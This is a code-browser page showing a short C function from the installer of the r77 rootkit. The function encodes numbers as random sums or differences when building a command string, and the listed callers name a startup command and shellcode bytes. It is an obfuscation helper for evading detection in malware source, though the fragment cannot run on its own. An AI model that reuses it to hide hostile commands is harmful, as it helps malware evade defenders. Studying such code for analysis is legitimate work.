MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / WriteObfuscatedNumber

Function WriteObfuscatedNumber

Install/Install.c:345–357  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

343 return size;
344}
345VOID WriteObfuscatedNumber(LPWSTR command, DWORD number)
346{
347 BYTE rand[1];
348 GetRandomBytes(rand, 1);
349
350 INT a = rand[0];
351 INT b = number - a;
352
353 WCHAR buffer[10];
354 StrCatW(command, Int32ToStrW(a, buffer));
355 StrCatW(command, b >= 0 ? L"+" : L"-");
356 StrCatW(command, Int32ToStrW(b > 0 ? b : -b, buffer));
357}

Callers 2

GetStartupCommandFunction · 0.85
WriteShellCodeBytesFunction · 0.85

Calls 2

GetRandomBytesFunction · 0.85
Int32ToStrWFunction · 0.85

Tested by

no test coverage detected